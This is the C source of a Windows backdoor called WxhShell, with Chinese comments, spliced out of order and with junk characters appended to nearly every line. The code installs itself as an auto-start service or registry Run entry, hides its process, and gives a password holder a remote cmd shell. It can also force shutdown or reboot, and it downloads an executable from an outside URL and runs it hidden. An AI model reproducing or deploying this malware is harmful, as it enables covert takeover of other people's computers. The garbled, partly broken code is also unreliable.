    else { `8AR_7i  
    closesocket(wsh); hp#W 9@NR  
    ExitThread(0); K('hC)1  
    } umiBj)r  
    break; ;$smH=I  
    } _a6[{_Pc  
  // 获取shell ~yH?=:>U  
  case 's': { AS =?@2 q  
    CmdShell(wsh); ^>jwh  
    closesocket(wsh); &3bx `C  
    ExitThread(0); .?R!DYC`  
    break; 9aze>nxh.  
  } q35f&O;  
  // 退出 7]blrN]  
  case 'x': { 4)A#2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); , Wk?I%>  
    CloseIt(wsh); ]j`c]2EuP  
    break; d-k%{eBV  
    } {]:7bV#JP  
  // 离开 U)E(`{p]  
  case 'q': { >8k _n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GBRa.;Kk  
    closesocket(wsh); /atW8 `&  
    WSACleanup(); R)QC)U  
    exit(1); n/+.s(7c  
    break; Bj1?x  
        } H@%GSE  
  } Uk^B"y_  
  } (C@mLu)  
I@yCTl uV$  
  // 提示信息 K i'Fn"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5@+,Xh,H|t  
} ,N!o  
  } 2E}*v5b,  
|4B:<x   
  return; _V7r1fY:  
} X!9 B2w  
#,":vr  
// shell模块句柄 j$?{\iXZ  
int CmdShell(SOCKET sock) C -\S/yd  
{ ;<j0f~G`  
STARTUPINFO si; 9 }PhN<Gd  
ZeroMemory(&si,sizeof(si)); i*/Yz*<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D/vOs[X o,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NT e5  
PROCESS_INFORMATION ProcessInfo; 5N/%v&1  
char cmdline[]="cmd"; D ,o}el  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^/\Of{OZ-  
  return 0; PH+S};Uxv  
} B{'( L |  
g^}8:,F_  
// 自身启动模式 u>kN1kQ8  
int StartFromService(void) 8,? h~prc  
{ {q `jDDM  
typedef struct +yk24 ` >  
{ g*03{l#P  
  DWORD ExitStatus; inh=WUEW  
  DWORD PebBaseAddress; apg=-^L'  
  DWORD AffinityMask; HY&aV2|A1  
  DWORD BasePriority; qI#;j%V  
  ULONG UniqueProcessId; mLP.t%?#   
  ULONG InheritedFromUniqueProcessId; { g/0x,-Z  
}   PROCESS_BASIC_INFORMATION; _"bHe/'CI  
= kJ,%\E`  
PROCNTQSIP NtQueryInformationProcess; eU".3`CtY  
4KIRHnaj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '>cKH$nVC}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 95A1:A^t  
Xq_5Qv  
  HANDLE             hProcess; YjxF}VI~<  
  PROCESS_BASIC_INFORMATION pbi; 3%E }JU?MM  
+a^nlW9g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }o(zj=7  
  if(NULL == hInst ) return 0; MvK !u  
PIu1+k.r?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yku5SEJ\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0 q} *S~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vms|x wb  
$~VRza 8Q  
  if (!NtQueryInformationProcess) return 0; JtEo'As:[  
1IC~e^"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5ni~Q 9b  
  if(!hProcess) return 0; T 6)bD&  
5nT"rA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j bVECi-  
YwDbPX  
  CloseHandle(hProcess); 3I)VHMC  
D~hg$XzK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6kpg+{;  
if(hProcess==NULL) return 0; *AO,^R&e.  
'EbWFMjy  
HMODULE hMod; jQ2Ot<  
char procName[255]; gtk7)Uh  
unsigned long cbNeeded; e1%/26\  
5*lT.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [N7{WSZ&  
)Im#dVQs=  
  CloseHandle(hProcess); bM{s T"  
*=]&&<  
if(strstr(procName,"services")) return 1; // 以服务启动 ^(vs.U^U<  
Gft%Mq v  
  return 0; // 注册表启动 LhOa{1SY  
} M+U9R@  
[@J/eWB  
// 主模块 X-6de>=   
int StartWxhshell(LPSTR lpCmdLine) r^FhTzA=1  
{ [fAV5U  
  SOCKET wsl; GFeQ%l`7F  
BOOL val=TRUE; Qw-~>d  
  int port=0; dIN$)?aB0  
  struct sockaddr_in door; F5P[dp-`1  
)wC?T  
  if(wscfg.ws_autoins) Install(); }&cu/o4  
(gP)%  
port=atoi(lpCmdLine); ^ DaBz\  
^hc!FD  
if(port<=0) port=wscfg.ws_port; OGK}EI  
,]9P{k]O  
  WSADATA data; 9oYgl1}d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i,>khc  
hIy~B['  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B"h#C!E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @ [:ZS+1  
  door.sin_family = AF_INET; jrr EAp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W>) M5t4i  
  door.sin_port = htons(port); K^1oDP  
B2>H_dmQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;Lc Z`1  
closesocket(wsl); 3EJj9}#x"'  
return 1; G<}()+L  
} ?zh9d%R  
A\4D79>x  
  if(listen(wsl,2) == INVALID_SOCKET) { -ws? "_w  
closesocket(wsl); 1oR7iD^  
return 1; Zq+v6fk_Mn  
} >3p \m  
  Wxhshell(wsl); [k.tWA,&  
  WSACleanup(); cpL7!>^=  
'@o;-'b  
return 0; ]<ldWL  
}AB, 8n`  
} 4ezEW|S  
_ TiuY  
// 以NT服务方式启动 wH>a~C:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VCV"S>aVf  
{ nV"~-On  
DWORD   status = 0; e>6y%v;  
  DWORD   specificError = 0xfffffff; dBYmiF!+  
wjH zE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g%sluT[#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C'9Cr}cZ.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; arIf'CG6  
  serviceStatus.dwWin32ExitCode     = 0; a =J^  
  serviceStatus.dwServiceSpecificExitCode = 0; my(2;IJ#{  
  serviceStatus.dwCheckPoint       = 0; Ro\8ZXUQa  
  serviceStatus.dwWaitHint       = 0; \y97W&AN  
gH12[Us'`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /s x@$cvW  
  if (hServiceStatusHandle==0) return; JZ)RGSG i  
)#?"Gjf~  
status = GetLastError(); |n2qVR,  
  if (status!=NO_ERROR) ) pzy  
{ Fq0i`~L~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dMh:ulIY>  
    serviceStatus.dwCheckPoint       = 0; #eoome2Q  
    serviceStatus.dwWaitHint       = 0; ]O]4z,n  
    serviceStatus.dwWin32ExitCode     = status; Px4) >/ z,  
    serviceStatus.dwServiceSpecificExitCode = specificError; i6^twK)j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }JF13beU  
    return; 3 }duG/  
  } \nXtH}9ZF  
`#rL*;\uV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; joFm]3$;  
  serviceStatus.dwCheckPoint       = 0; ,f~J`3(&  
  serviceStatus.dwWaitHint       = 0; qB5j;@ r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gqZ'$7So  
} y&6FybIz  
`95r0t0hh\  
// 处理NT服务事件,比如:启动、停止 abuh`H#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p*< 0"0  
{ ASKf '\,dV  
switch(fdwControl) `.E[}W  
{ K*%9)hq  
case SERVICE_CONTROL_STOP: PY{ G [  
  serviceStatus.dwWin32ExitCode = 0; WA5&# kg\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /NLui@|R  
  serviceStatus.dwCheckPoint   = 0; h{CL{>d  
  serviceStatus.dwWaitHint     = 0; x3hB5p$q  
  { .!Oo|m`V@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R cAwrsd  
  } h?AS{`.1  
  return; DVG(V w  
case SERVICE_CONTROL_PAUSE: N:S/SZI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; | z9*GY6RU  
  break; ZGBd%RWjG_  
case SERVICE_CONTROL_CONTINUE: /kE6@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %aHB"vi6  
  break; qB~rQPa  
case SERVICE_CONTROL_INTERROGATE: 6"wlg!k8  
  break; /z4$gb7Y  
}; WYHQ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X.OD`.!>  
} q8FTi^=Kb  
0pK=o"^?@  
// 标准应用程序主函数 T5R-B=YWu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;ic3).H  
{ |LRedD7n  
{ d=^}-^   
// 获取操作系统版本 iJ-23_D  
OsIsNt=GetOsVer(); #H)vK"hF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 02f~En}>6  
4QH3fTv   
  // 从命令行安装 !02`t4Zc-  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~Y`ldL  
,`|3KE9  
  // 下载执行文件 y<?kzt  
if(wscfg.ws_downexe) { 0g +7uGp:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ghu#XJB?  
  WinExec(wscfg.ws_filenam,SW_HIDE); h`]Iy  
} \RNNg  
YpWPz %`:  
if(!OsIsNt) { {ME2ImD  
// 如果时win9x,隐藏进程并且设置为注册表启动 oL!EYbFD'Z  
HideProc(); 5-|:^hU9  
StartWxhshell(lpCmdLine); Us)Z^s  
} 8LyD7P 1\  
else R] vV*  
  if(StartFromService()) KxI&G%z  
  // 以服务方式启动 DH[p\Wy'  
  StartServiceCtrlDispatcher(DispatchTable); ,KF 'TsFf  
else #pT"BSz]  
  // 普通方式启动 Vrjc~>X  
  StartWxhshell(lpCmdLine); *U^6u/iH  
$3W;=Id=+  
return 0; _64A( U  
} Za/-i"U  
/@wg>&L]  
DjCqh-&L  
`EEL1[:BR  
=========================================== q2/pNV#  
rxVanDb=W  
FTH|9OP  
. S!mf  
!Xh=k36  
g$":D  
" #9B)Xx!g  
J; 3{3  
#include <stdio.h> O%Scjm-^X  
#include <string.h> y_'Ub{w  
#include <windows.h> LSm$dK  
#include <winsock2.h> \<&m&%Zs  
#include <winsvc.h> hjU::m,WX  
#include <urlmon.h> "$~':) V"  
N"pc,Q\xU  
#pragma comment (lib, "Ws2_32.lib") H~oail{EQ  
#pragma comment (lib, "urlmon.lib") 7P%%p3  
G|[=/>~B  
#define MAX_USER   100 // 最大客户端连接数 .\\DKh%  
#define BUF_SOCK   200 // sock buffer _mzW'~9wN  
#define KEY_BUFF   255 // 输入 buffer O#n8=B4  
Htay-PB }  
#define REBOOT     0   // 重启 ynmWW^dg  
#define SHUTDOWN   1   // 关机 <>n0arAn  
XpIklL7  
#define DEF_PORT   5000 // 监听端口 Km%]1X7T6  
P!~MZ+7#&  
#define REG_LEN     16   // 注册表键长度 GSY(  
#define SVC_LEN     80   // NT服务名长度 QEm|])V  
d)"3K6s|5  
// 从dll定义API 6~0$Z-);(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z_PNI#h*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  jPC[_g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ot$-!Y;<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >L|;|X!m9\  
@+;$jRwq  
// wxhshell配置信息 @v$Y7mw3D  
struct WSCFG { bo<~jb{  
  int ws_port;         // 监听端口 ?RX3MUN  
  char ws_passstr[REG_LEN]; // 口令 #c!*</  
  int ws_autoins;       // 安装标记, 1=yes 0=no b[__1E9v'  
  char ws_regname[REG_LEN]; // 注册表键名 %&$Tz1"  
  char ws_svcname[REG_LEN]; // 服务名 !5wIIS:FT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ' WMh8)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yID 164&r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1da@3xaF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3ovWwZ8&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ];}Wfl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .v]IJfRH*  
"MxnFeLM#  
}; 9lTv   
,K>I%_!1  
// default Wxhshell configuration y6@0O%TDN  
struct WSCFG wscfg={DEF_PORT, Q0$8j-1I  
    "xuhuanlingzhe", *aXF5S  
    1, >@BnV{ d  
    "Wxhshell", ,V'o4]H  
    "Wxhshell", ,4 hJT  
            "WxhShell Service", he#J|p  
    "Wrsky Windows CmdShell Service", H1 2Fw'2  
    "Please Input Your Password: ", h-g+g#*  
  1, 2^XGGB0  
  "http://www.wrsky.com/wxhshell.exe", 7;u e  
  "Wxhshell.exe" 4)E_0.C  
    }; #w;v0&p  
9*$t!r{B@  
// 消息定义模块 +U:$(UV'A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -_ I _W&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;1#H62Z*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~"dA~[r L  
char *msg_ws_ext="\n\rExit."; D>|H 2  
char *msg_ws_end="\n\rQuit."; U T>s 5C  
char *msg_ws_boot="\n\rReboot..."; X#d~zk[r2  
char *msg_ws_poff="\n\rShutdown..."; =6xrfDbN8  
char *msg_ws_down="\n\rSave to "; 2`.cK 3  
hS_6  
char *msg_ws_err="\n\rErr!"; ?=>+LqP  
char *msg_ws_ok="\n\rOK!"; Ytgcs( /$  
$r@ =*(  
char ExeFile[MAX_PATH]; R[Ll59-  
int nUser = 0; :#2Bw]z&z  
HANDLE handles[MAX_USER]; BMhy=+\  
int OsIsNt; [vge56h  
U -Y03  
SERVICE_STATUS       serviceStatus; AUeu1(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <m:m &I 8@  
$GYm6x\4  
// 函数声明 ODZ5IO}v  
int Install(void); QS0:@.}$E)  
int Uninstall(void); g"Ljm7  
int DownloadFile(char *sURL, SOCKET wsh); + r!1<AAE$  
int Boot(int flag); *?o{9v5}(  
void HideProc(void); /`9sPR6e  
int GetOsVer(void); 0WT{,/>  
int Wxhshell(SOCKET wsl); hhb?6]Z/  
void TalkWithClient(void *cs); )@N2  
int CmdShell(SOCKET sock); UYFwS/ RW}  
int StartFromService(void); [N1hWcfvd  
int StartWxhshell(LPSTR lpCmdLine); )_a~} U]=.  
f6|KN+.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vw[6t>`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gHhh>FFAq  
Tfh 2.  
// 数据结构和表定义 FE" y\2}  
SERVICE_TABLE_ENTRY DispatchTable[] = o5xAav"+>  
{ `))\}C@k  
{wscfg.ws_svcname, NTServiceMain}, H|,Oswk~-  
{NULL, NULL} a-y+@#;2_  
}; 33jovK 2  
>Wh}f3C  
// 自我安装 U QE qX  
int Install(void) BLN^ <X/  
{ ilK-?@u+  
  char svExeFile[MAX_PATH]; zs%Hb48V   
  HKEY key; vesJEaw7  
  strcpy(svExeFile,ExeFile); L{:9Cx!F  
?P4w]a  
// 如果是win9x系统,修改注册表设为自启动 Pa(^}n|  
if(!OsIsNt) { `IOs-%s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "@evXql3`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OQ8 bI=?[x  
  RegCloseKey(key); -D xL0:E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 17D"cP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [FK<96.nt  
  RegCloseKey(key); OF%B[h&   
  return 0; CQZgMY1{  
    } Mmj;'iYOwF  
  } Y^36>1.:  
} K6y :mJYp\  
else { Jwj%_<  
np%\&CVhN  
// 如果是NT以上系统,安装为系统服务 y+!+ D[x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )v]/B+  
if (schSCManager!=0) Av?2<  
{ \2nUa ;  
  SC_HANDLE schService = CreateService :]rJGgK#  
  ( 3VI4X  
  schSCManager, $k0k k  
  wscfg.ws_svcname, pX/n)q[  
  wscfg.ws_svcdisp, zR `EU,  
  SERVICE_ALL_ACCESS, ~)qtply  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7~&/_3  
  SERVICE_AUTO_START, PN0VQ/..  
  SERVICE_ERROR_NORMAL, 1J6,]M  
  svExeFile, "oWwc zzO  
  NULL, tyfTU5"x  
  NULL, 1mfs 4  
  NULL, {*[\'!d--.  
  NULL, 994` ua+  
  NULL %Rz&lh/  
  ); 9m|kgY# 4  
  if (schService!=0) p`nPhk,:b  
  { ;2@BO-3K  
  CloseServiceHandle(schService); +zu(  
  CloseServiceHandle(schSCManager); m~@;~7Ix  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?s\ OUr  
  strcat(svExeFile,wscfg.ws_svcname); OS4q5;1#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { # S}Z8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [~kdPk  
  RegCloseKey(key); 48jVRo  
  return 0; ikSF)r;*t  
    } $B kubWM  
  } Glxuz0]  
  CloseServiceHandle(schSCManager); N;Dni#tQ`  
} z^_*&  
} zS\E/.X2  
n8uv#DsdK  
return 1; I&MY{f  
} xfy1pS.[:  
a^Tm u  
// 自我卸载 |fxA|/ s[<  
int Uninstall(void) 0q.Ujm=,z  
{ lrWV#`6!+  
  HKEY key; YFE&r  
5nTY ?<x`k  
if(!OsIsNt) { WuPH'4b 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?6L&WB  
  RegDeleteValue(key,wscfg.ws_regname); 6 ` Aj%1  
  RegCloseKey(key); "VkTY|a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tniDF>Rb  
  RegDeleteValue(key,wscfg.ws_regname); ]Pry>N3G5  
  RegCloseKey(key); h@:TpE+N  
  return 0; Ct2j ZqCDo  
  } #O$  
} AX?fuDLs  
} CPVjmRUF|  
else { lY~4'8^  
HS{(v;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *+TH#EL2  
if (schSCManager!=0) _<=S_ <$2  
{ "jTKSgv+q5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nL$x|}XAcj  
  if (schService!=0) :ml2.vP  
  { \Y|~2Ls8tu  
  if(DeleteService(schService)!=0) { ~/8M 3k/  
  CloseServiceHandle(schService); 4(Ov1a>  
  CloseServiceHandle(schSCManager); .!1S[  
  return 0; G2]4n T  
  } &;XAuDw4+i  
  CloseServiceHandle(schService); rj6tZJZ#o0  
  } Ma'_e=+A  
  CloseServiceHandle(schSCManager); V[}4L| ad  
} %q!8={J8  
} Ypeiy `.  
U~} U\_  
return 1; HDda@Jy  
} {fha`i  
pl5P2&k  
// 从指定url下载文件 Tneq6>  
int DownloadFile(char *sURL, SOCKET wsh) f6_];]yP  
{ Xcrk;!IB?  
  HRESULT hr; y" 6y!  
char seps[]= "/"; s[K^9wz  
char *token; 'mH) d  
char *file; VA"*6F   
char myURL[MAX_PATH]; Xg=x7\V  
char myFILE[MAX_PATH]; {/X4(;~0  
4q'B<7{Q  
strcpy(myURL,sURL); :N<.?%Kf  
  token=strtok(myURL,seps); DHw&+MY  
  while(token!=NULL) P y>{t4;S  
  { FuUD 61JHY  
    file=token; 6*qL[m.F[o  
  token=strtok(NULL,seps); %'xb%`t  
  } Y 2Q=rj  
*?z0$Kz<,[  
GetCurrentDirectory(MAX_PATH,myFILE); _(d.!qGz  
strcat(myFILE, "\\"); cooUE<a  
strcat(myFILE, file);  6\u!E~zy  
  send(wsh,myFILE,strlen(myFILE),0); (x"BR  
send(wsh,"...",3,0); r6;$1 K*0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZxG}ViS4I  
  if(hr==S_OK) '8 fk+>M  
return 0; $`8Ar,Xz`  
else 7}GK%H-u  
return 1; /^$UhX9v  
5aBAr  
} kM'"4[,nz  
Fi. aC;sx  
// 系统电源模块 Ul_M3"Z  
int Boot(int flag) 9U {y1}  
{ 28hHabd|  
  HANDLE hToken; d\H&dkpH  
  TOKEN_PRIVILEGES tkp; gP-nluq  
zVi15P$  
  if(OsIsNt) { ]l@ qra  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q;fKcblKj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l"{Sm6:;-  
    tkp.PrivilegeCount = 1; g ^!C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a8dXH5_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rrnNn'  
if(flag==REBOOT) { u>Rb ?`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'lo  
  return 0; `/"nTB  
} jYVE8Y)my  
else { iJv48#'ii  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xrqv@/kJ  
  return 0; y8s!M  
} [3W*9j  
  } ;uqx@sx ;  
  else { &(z fa&j|  
if(flag==REBOOT) { aZet0?Qr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Aj9Ji"18za  
  return 0; x$wd O  
} 4g}FB+[u  
else { xq %{}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BR v+.(S  
  return 0; dl5=q\1=  
} KQld YA|m  
} R8-^RvG  
R//$r%a  
return 1; PSRzrv$l  
} vLa#Y("  
^ *&X~8@)  
// win9x进程隐藏模块 :s-o0$PlJ  
void HideProc(void) EQIUSh)M  
{ `p0ypi3hn  
A])P1c. 7"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KECElK3uj  
  if ( hKernel != NULL ) yMc:n "-[  
  { B51kV0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LhzMAW<L4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RA],lNs  
    FreeLibrary(hKernel); >r)X:K+I  
  } QC0!p"  
3Db3xN  
return; ~P-*}q2J  
} B/J&l  
b@t5`Y-+K  
// 获取操作系统版本 H]\Zn%.#  
int GetOsVer(void) 0rokR&Y-d  
{ 9p@C4oen  
  OSVERSIONINFO winfo; ?/M_~e.P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m7=1%6FN3  
  GetVersionEx(&winfo); 0IT@V5Gdj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #hL*r bpT  
  return 1; j2M+]Zp.  
  else 02JoA+  
  return 0; zTo8OPr  
} ~u&|G$1!0  
K"<*a"1I  
// 客户端句柄模块 ~%ozgzr^  
int Wxhshell(SOCKET wsl) D H^T x  
{ Qn:kz*:  
  SOCKET wsh; PzZZ>7_6S  
  struct sockaddr_in client; Y&*x4&Lb  
  DWORD myID; G",.,Px  
6<Hu8$G|  
  while(nUser<MAX_USER) PT9v*3Bq~  
{ "Vd_CO  
  int nSize=sizeof(client); 7m9 " 8   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O'NW Ebl/  
  if(wsh==INVALID_SOCKET) return 1; &hV Zx  
!OcENV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,Vd7V}t  
if(handles[nUser]==0) 0{^H]Y  
  closesocket(wsh); x.$1<w64t  
else Qbeeq6  
  nUser++; uXQ >WI@eF  
  } "DSPPE&[c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5V-jMB  
$R^AEa7  
  return 0; 59rY[&|  
} o%y;(|4t >  
V+Xl9v4O  
// 关闭 socket I<h=Cj[[  
void CloseIt(SOCKET wsh) >O]s&34  
{ 8v y G*UK  
closesocket(wsh); {UH9i'y:t  
nUser--; :DkAQ-<~  
ExitThread(0); ~fzuwz  
} dl l%4Sd  
{<w +3Va  
// 客户端请求句柄 BH@b1}  
void TalkWithClient(void *cs) UP2.]B!d  
{ */OI *{Q  
%85Icg  
  SOCKET wsh=(SOCKET)cs; :#="%  
  char pwd[SVC_LEN]; L>Jd7; =  
  char cmd[KEY_BUFF]; rOl6lQW  
char chr[1]; u/AT-e r;  
int i,j; V!|e#}1 /  
SFjU0*B$  
  while (nUser < MAX_USER) { =^h~!ovj:  
Fa3gJ[ZAqf  
if(wscfg.ws_passstr) { S|R|]J|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3@5p"X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j%&  IL0  
  //ZeroMemory(pwd,KEY_BUFF); V`fL%du,3  
      i=0; 5)+F(  
  while(i<SVC_LEN) { #iis/6"  
m/USC'U%  
  // 设置超时 tLX,+P2|  
  fd_set FdRead; VRS 2cc  
  struct timeval TimeOut; IftxSaP  
  FD_ZERO(&FdRead); +T_ p8W+j  
  FD_SET(wsh,&FdRead); ,EhVSrh)_4  
  TimeOut.tv_sec=8; K5 vNhA  
  TimeOut.tv_usec=0; -S; &Q'Mt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <fM>Yi5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s3lJu/Xe{  
@?2n]n6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g0#q"v55  
  pwd=chr[0]; )&Z>@S^  
  if(chr[0]==0xd || chr[0]==0xa) { K&pM o.  
  pwd=0; dc^Vc{26Z  
  break; izt^Wi|  
  } 9NIy#  
  i++; & 5 <**  
    } rFXSO=P?Z  
{-*\w-~G  
  // 如果是非法用户,关闭 socket c%<2z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IUhp;iH  
} (iDBhC;/B  
G8NRj9k?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6 S*zzJ.0K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zW'/2W.  
4DML  
while(1) { z Bf;fi  
^eTZn[qH>w  
  ZeroMemory(cmd,KEY_BUFF); kMe@+ysL  
~%aJFs  
      // 自动支持客户端 telnet标准   q]v,  
  j=0; #)i&DJ^Y  
  while(j<KEY_BUFF) { aG3k4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5upShtC  
  cmd[j]=chr[0]; 4%bTj,H#  
  if(chr[0]==0xa || chr[0]==0xd) { Hptq,~_t  
  cmd[j]=0; >_#)3K1y8  
  break; g.*&BXZi  
  } {a4xF2  
  j++; Pe,;MP\2  
    } #1l7FT?q  
5LMj!)3  
  // 下载文件 $y6rvQ 2>S  
  if(strstr(cmd,"http://")) { 3bH5C3(u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7jezw'\=~  
  if(DownloadFile(cmd,wsh)) j:?N!*r=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` !kL1oUYE  
  else Gm@iV,F%R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T{ nQjYb?  
  } Rkr^Z?/GH  
  else { -RCv7U`  
!d|8'^gc  
    switch(cmd[0]) { LY1KQuY  
  ftW{C1,U7  
  // 帮助 +G\0L_B  
  case '?': { O2@" w23  
